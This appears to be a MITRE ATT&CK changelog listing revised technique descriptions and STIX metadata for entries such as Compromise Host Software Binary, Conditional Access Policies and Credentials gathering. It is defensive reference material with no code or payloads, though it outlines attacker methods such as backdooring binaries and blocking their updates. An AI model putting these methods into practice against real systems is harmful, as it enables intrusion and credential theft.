t1Adversaries may leverage code repositories to collect valuabt1Adversaries may leverage code repositories to collect valuab
>le information. Code repositories are tools/services that st>le information. Code repositories are tools/services that st
>ore source code and automate software builds. They may be ho>ore source code and automate software builds. They may be ho
>sted internally or privately on third party sites such as Gi>sted internally or privately on third party sites such as Gi
>thub, GitLab, SourceForge, and BitBucket. Users typically in>thub, GitLab, SourceForge, and BitBucket. Users typically in
>teract with code repositories through a web application or c>teract with code repositories through a web application or c
>ommand-line utilities such as git.  Once adversaries gain ac>ommand-line utilities such as git.  Once adversaries gain ac
>cess to a victim network or a private code repository, they >cess to a victim network or a private code repository, they 
>may collect sensitive information such as proprietary source>may collect sensitive information such as proprietary source
> code or credentials contained within software's source code> code or [Unsecured Credentials](https://attack.mitre.org/te
>.  Having access to software's source code may allow adversa>chniques/T1552) contained within software's source code.  Ha
>ries to develop [Exploits](https://attack.mitre.org/techniqu>ving access to software's source code may allow adversaries 
>es/T1587/004), while credentials may provide access to addit>to develop [Exploits](https://attack.mitre.org/techniques/T1
>ional resources using [Valid Accounts](https://attack.mitre.>587/004), while credentials may provide access to additional
>org/techniques/T1078).(Citation: Wired Uber Breach)(Citation> resources using [Valid Accounts](https://attack.mitre.org/t
>: Krebs Adobe)  **Note:** This is distinct from [Code Reposi>echniques/T1078).(Citation: Wired Uber Breach)(Citation: Kre
>tories](https://attack.mitre.org/techniques/T1593/003), whic>bs Adobe)  **Note:** This is distinct from [Code Repositorie
>h focuses on conducting [Reconnaissance](https://attack.mitr>s](https://attack.mitre.org/techniques/T1593/003), which foc
>e.org/tactics/TA0043) via public code repositories.>uses on conducting [Reconnaissance](https://attack.mitre.org
 >/tactics/TA0043) via public code repositories.
Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-18 22:44:01.723000+00:002024-09-04 13:03:54.101000+00:00
descriptionAdversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. + +Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe) + +**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. + +Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe) + +**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.11.2

[T1059] Command and Scripting Interpreter

Current version: 2.5

Version changed from: 2.4 → 2.5

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-27 16:43:58.795000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version2.42.5
x_mitre_platforms[5]Azure ADOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1027.004] Obfuscated Files or Information: Compile After Delivery

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may attempt to make payloads difficult to discovt1Adversaries may attempt to make payloads difficult to discov
>er and analyze by delivering files to victims as uncompiled >er and analyze by delivering files to victims as uncompiled 
>code. Text-based source code files may subvert analysis and >code. Text-based source code files may subvert analysis and 
>scrutiny from protections targeting executables/binaries. Th>scrutiny from protections targeting executables/binaries. Th
>ese payloads will need to be compiled before execution; typi>ese payloads will need to be compiled before execution; typi
>cally via native utilities such as csc.exe or GCC/MinGW.(Cit>cally via native utilities such as ilasm.exe(Citation: ATTAC
>ation: ClearSky MuddyWater Nov 2018)  Source code payloads m>K IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater 
>ay also be encrypted, encoded, and/or embedded within other >Nov 2018)  Source code payloads may also be encrypted, encod
>files, such as those delivered as a [Phishing](https://attac>ed, and/or embedded within other files, such as those delive
>k.mitre.org/techniques/T1566). Payloads may also be delivere>red as a [Phishing](https://attack.mitre.org/techniques/T156
>d in formats unrecognizable and inherently benign to the nat>6). Payloads may also be delivered in formats unrecognizable
>ive OS (ex: EXEs on macOS/Linux) before later being (re)comp> and inherently benign to the native OS (ex: EXEs on macOS/L
>iled into a proper executable binary with a bundled compiler>inux) before later being (re)compiled into a proper executab
> and execution framework.(Citation: TrendMicro WindowsAppMac>le binary with a bundled compiler and execution framework.(C
>)>itation: TrendMicro WindowsAppMac)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2020-03-29 20:59:32.293000+00:002024-10-03 17:43:14.766000+00:00
descriptionAdversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) + +Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) + +Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'ATTACK IQ', 'description': 'Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.', 'url': 'https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/'}
x_mitre_contributorsLiran Ravich, CardinalOps

[T1554] Compromise Host Software Binary

Current version: 2.1

Version changed from: 2.0 → 2.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may modify host software binaries to establish pt1Adversaries may modify host software binaries to establish p
>ersistent access to systems. Software binaries/executables p>ersistent access to systems. Software binaries/executables p
>rovide a wide range of system commands or services, programs>rovide a wide range of system commands or services, programs
>, and libraries. Common software binaries are SSH clients, F>, and libraries. Common software binaries are SSH clients, F
>TP clients, email clients, web browsers, and many other user>TP clients, email clients, web browsers, and many other user
> or server applications.  Adversaries may establish persiste> or server applications.  Adversaries may establish persiste
>nce though modifications to host software binaries. For exam>nce though modifications to host software binaries. For exam
>ple, an adversary may replace or otherwise infect a legitima>ple, an adversary may replace or otherwise infect a legitima
>te application binary (or support files) with a backdoor. Si>te application binary (or support files) with a backdoor. Si
>nce these binaries may be routinely executed by applications>nce these binaries may be routinely executed by applications
> or the user, the adversary can leverage this for persistent> or the user, the adversary can leverage this for persistent
> access to the host.  An adversary may also modify an existi> access to the host. An adversary may also modify a software
>ng binary by patching in malicious functionality (e.g., IAT > binary such as an SSH client in order to persistently colle
>Hooking/Entry point patching)(Citation: Unit42 Banking Troja>ct credentials during logins (i.e., [Modify Authentication P
>ns Hooking 2022) prior to the binary’s legitimate execution.>rocess](https://attack.mitre.org/techniques/T1556)).(Citatio
> For example, an adversary may modify the entry point of a b>n: Google Cloud Mandiant UNC3886 2024)  An adversary may als
>inary to point to malicious code patched in by the adversary>o modify an existing binary by patching in malicious functio
> before resuming normal execution flow.(Citation: ESET FontO>nality (e.g., IAT Hooking/Entry point patching)(Citation: Un
>nLake Analysis 2021)>it42 Banking Trojans Hooking 2022) prior to the binary’s leg
 >itimate execution. For example, an adversary may modify the 
 >entry point of a binary to point to malicious code patched i
 >n by the adversary before resuming normal execution flow.(Ci
 >tation: ESET FontOnLake Analysis 2021)  After modifying a bi
 >nary, an adversary may attempt to [Impair Defenses](https://
 >attack.mitre.org/techniques/T1562) by preventing it from upd
 >ating (e.g., via the `yum-versionlock` command or `versionlo
 >ck.list` file in Linux systems that use the yum package mana
 >ger).(Citation: Google Cloud Mandiant UNC3886 2024)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-16 13:03:40.824000+00:002024-10-12 16:52:46.067000+00:00
descriptionAdversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. + +Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. + +An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. + +Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024) + +An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) + +After modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)
x_mitre_version2.02.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Google Cloud Mandiant UNC3886 2024', 'description': ' Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations'}
x_mitre_contributorsLiran Ravich, CardinalOps
x_mitre_contributorsJamie Williams (U ω U), PANW Unit 42

[T1556.009] Modify Authentication Process: Conditional Access Policies

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may disable or modify conditional access policiet1Adversaries may disable or modify conditional access policie
>s to enable persistent access to compromised accounts. Condi>s to enable persistent access to compromised accounts. Condi
>tional access policies are additional verifications used by >tional access policies are additional verifications used by 
>identity providers and identity and access management system>identity providers and identity and access management system
>s to determine whether a user should be granted access to a >s to determine whether a user should be granted access to a 
>resource.  For example, in Azure AD, Okta, and JumpCloud, us>resource.  For example, in Entra ID, Okta, and JumpCloud, us
>ers can be denied access to applications based on their IP a>ers can be denied access to applications based on their IP a
>ddress, device enrollment status, and use of multi-factor au>ddress, device enrollment status, and use of multi-factor au
>thentication.(Citation: Microsoft Conditional Access)(Citati>thentication.(Citation: Microsoft Conditional Access)(Citati
>on: JumpCloud Conditional Access Policies)(Citation: Okta Co>on: JumpCloud Conditional Access Policies)(Citation: Okta Co
>nditional Access Policies) In some cases, identity providers>nditional Access Policies) In some cases, identity providers
> may also support the use of risk-based metrics to deny sign> may also support the use of risk-based metrics to deny sign
>-ins based on a variety of indicators. In AWS and GCP, IAM p>-ins based on a variety of indicators. In AWS and GCP, IAM p
>olicies can contain `condition` attributes that verify arbit>olicies can contain `condition` attributes that verify arbit
>rary constraints such as the source IP, the date the request>rary constraints such as the source IP, the date the request
> was made, and the nature of the resources or regions being > was made, and the nature of the resources or regions being 
>requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM C>requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM C
>onditions) These measures help to prevent compromised creden>onditions) These measures help to prevent compromised creden
>tials from resulting in unauthorized access to data or resou>tials from resulting in unauthorized access to data or resou
>rces, as well as limit user permissions to only those requir>rces, as well as limit user permissions to only those requir
>ed.   By modifying conditional access policies, such as addi>ed.   By modifying conditional access policies, such as addi
>ng additional trusted IP ranges, removing [Multi-Factor Auth>ng additional trusted IP ranges, removing [Multi-Factor Auth
>entication](https://attack.mitre.org/techniques/T1556/006) r>entication](https://attack.mitre.org/techniques/T1556/006) r
>equirements, or allowing additional [Unused/Unsupported Clou>equirements, or allowing additional [Unused/Unsupported Clou
>d Regions](https://attack.mitre.org/techniques/T1535), adver>d Regions](https://attack.mitre.org/techniques/T1535), adver
>saries may be able to ensure persistent access to accounts a>saries may be able to ensure persistent access to accounts a
>nd circumvent defensive measures.>nd circumvent defensive measures.
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-18 20:53:46.175000+00:002024-09-16 16:54:47.595000+00:00
descriptionAdversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource. + +For example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. + +By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource. + +For example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. + +By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.
x_mitre_version1.01.1
x_mitre_platforms[1]SaaSIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD

[T1213.001] Data from Information Repositories: Confluence

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1 Adversaries may leverage Confluence repositories to mine vat1 Adversaries may leverage Confluence repositories to mine va
>luable information. Often found in development environments >luable information. Often found in development environments 
>alongside Atlassian JIRA, Confluence is generally used to st>alongside Atlassian JIRA, Confluence is generally used to st
>ore development-related documentation, however, in general m>ore development-related documentation, however, in general m
>ay contain more diverse categories of useful information, su>ay contain more diverse categories of useful information, su
>ch as:  * Policies, procedures, and standards * Physical / l>ch as:  * Policies, procedures, and standards * Physical / l
>ogical network diagrams * System architecture diagrams * Tec>ogical network diagrams * System architecture diagrams * Tec
>hnical system documentation * Testing / development credenti>hnical system documentation * Testing / development credenti
>als * Work / project schedules * Source code snippets * Link>als (i.e., [Unsecured Credentials](https://attack.mitre.org/
>s to network shares and other internal resources >techniques/T1552)) * Work / project schedules * Source code 
 >snippets * Links to network shares and other internal resour
 >ces 
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-06-08 17:08:08.386000+00:002024-08-30 13:45:42.840000+00:00
description +Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: + +* Policies, procedures, and standards +* Physical / logical network diagrams +* System architecture diagrams +* Technical system documentation +* Testing / development credentials +* Work / project schedules +* Source code snippets +* Links to network shares and other internal resources + +Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as: + +* Policies, procedures, and standards +* Physical / logical network diagrams +* System architecture diagrams +* Technical system documentation +* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) +* Work / project schedules +* Source code snippets +* Links to network shares and other internal resources +
x_mitre_version1.01.1

[T1136] Create Account

Current version: 2.5

Version changed from: 2.4 → 2.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-31 20:46:43.215000+00:002024-10-15 15:53:21.895000+00:00
x_mitre_version2.42.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1578.002] Modify Cloud Compute Infrastructure: Create Cloud Instance

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['Arun Seelagan, CISA']
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-03-08 10:33:02.034000+00:002024-09-30 13:28:37.416000+00:00
external_references[1]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf
x_mitre_version1.11.2

[T1578.001] Modify Cloud Compute Infrastructure: Create Snapshot

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-03-08 10:33:02.060000+00:002024-10-15 15:53:44.870000+00:00
external_references[1]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf
x_mitre_version1.11.2

[T1056.004] Input Capture: Credential API Hooking

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'SYSTEM']
values_changed
STIX FieldOld valueNew Value
modified2020-11-10 18:29:31.138000+00:002024-08-27 21:03:56.385000+00:00
x_mitre_version1.01.1

[T1110.004] Brute Force: Credential Stuffing

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-07 14:28:02.910000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.51.6
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1589.001] Gather Victim Identity Information: Credentials

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may gather credentials that can be used during tt1Adversaries may gather credentials that can be used during t
>argeting. Account credentials gathered by adversaries may be>argeting. Account credentials gathered by adversaries may be
> those directly associated with the target victim organizati> those directly associated with the target victim organizati
>on or attempt to take advantage of the tendency for users to>on or attempt to take advantage of the tendency for users to
> use the same passwords across personal and business account> use the same passwords across personal and business account
>s.  Adversaries may gather credentials from potential victim>s.  Adversaries may gather credentials from potential victim
>s in various ways, such as direct elicitation via [Phishing >s in various ways, such as direct elicitation via [Phishing 
>for Information](https://attack.mitre.org/techniques/T1598).>for Information](https://attack.mitre.org/techniques/T1598).
> Adversaries may also compromise sites then add malicious co> Adversaries may also compromise sites then add malicious co
>ntent designed to collect website authentication cookies fro>ntent designed to collect website authentication cookies fro
>m visitors.(Citation: ATT ScanBox) Credential information ma>m visitors.(Citation: ATT ScanBox) (Citation: Register Deloi
>y also be exposed to adversaries via leaks to online or othe>tte)(Citation: Register Uber)(Citation: Detectify Slack Toke
>r accessible data sets (ex: [Search Engines](https://attack.>ns)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleH
>mitre.org/techniques/T1593/002), breach dumps, code reposito>og)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mul
>ries, etc.).(Citation: Register Deloitte)(Citation: Register>ti-factor authentication (MFA) based on out-of-band communic
> Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes Gi>ations is in use, adversaries may compromise a service provi
>tHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gi>der to gain access to MFA codes and one-time passwords (OTP)
>trob)(Citation: CNET Leaks) Adversaries may also purchase cr>.(Citation: Okta Scatter Swine 2022)  Credential information
>edentials from dark web or other black-markets. Finally, whe> may also be exposed to adversaries via leaks to online or o
>re multi-factor authentication (MFA) based on out-of-band co>ther accessible data sets (ex: [Search Engines](https://atta
>mmunications is in use, adversaries may compromise a service>ck.mitre.org/techniques/T1593/002), breach dumps, code repos
> provider to gain access to MFA codes and one-time passwords>itories, etc.). Adversaries may purchase credentials from da
> (OTP).(Citation: Okta Scatter Swine 2022)  Gathering this i>rk web markets, such as Russian Market and 2easy, or through
>nformation may reveal opportunities for other forms of recon> access to Telegram channels that distribute logs from infos
>naissance (ex: [Search Open Websites/Domains](https://attack>tealer malware.(Citation: Bleeping Computer 2easy 2021)(Cita
>.mitre.org/techniques/T1593) or [Phishing for Information](h>tion: SecureWorks Infostealers 2023)(Citation: Bleeping Comp
>ttps://attack.mitre.org/techniques/T1598)), establishing ope>uter Stealer Logs 2023)  Gathering this information may reve
>rational resources (ex: [Compromise Accounts](https://attack>al opportunities for other forms of reconnaissance (ex: [Sea
>.mitre.org/techniques/T1586)), and/or initial access (ex: [E>rch Open Websites/Domains](https://attack.mitre.org/techniqu
>xternal Remote Services](https://attack.mitre.org/techniques>es/T1593) or [Phishing for Information](https://attack.mitre
>/T1133) or [Valid Accounts](https://attack.mitre.org/techniq>.org/techniques/T1598)), establishing operational resources 
>ues/T1078)). >(ex: [Compromise Accounts](https://attack.mitre.org/techniqu
 >es/T1586)), and/or initial access (ex: [External Remote Serv
 >ices](https://attack.mitre.org/techniques/T1133) or [Valid A
 >ccounts](https://attack.mitre.org/techniques/T1078)). 
Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 23:29:10.396000+00:002024-10-10 13:45:01.069000+00:00
descriptionAdversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. + +Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022) + +Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. + +Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022) + +Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023) + +Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Bleeping Computer 2easy 2021', 'description': 'Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/'}
external_references{'source_name': 'Bleeping Computer Stealer Logs 2023', 'description': 'Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/'}
external_references{'source_name': 'SecureWorks Infostealers 2023', 'description': 'SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.', 'url': 'https://www.secureworks.com/research/the-growing-threat-from-infostealers'}
x_mitre_contributorsMassimo Giaimo, Würth Group Cyber Defence Center

[T1555.003] Credentials from Password Stores: Credentials from Web Browsers

Current version: 1.2

Version changed from: 1.1 → 1.2

New Mitigations:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2022-02-15 19:29:57.405000+00:002024-08-15 14:13:45.294000+00:00
x_mitre_version1.11.2

[T1053.003] Scheduled Task/Job: Cron

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
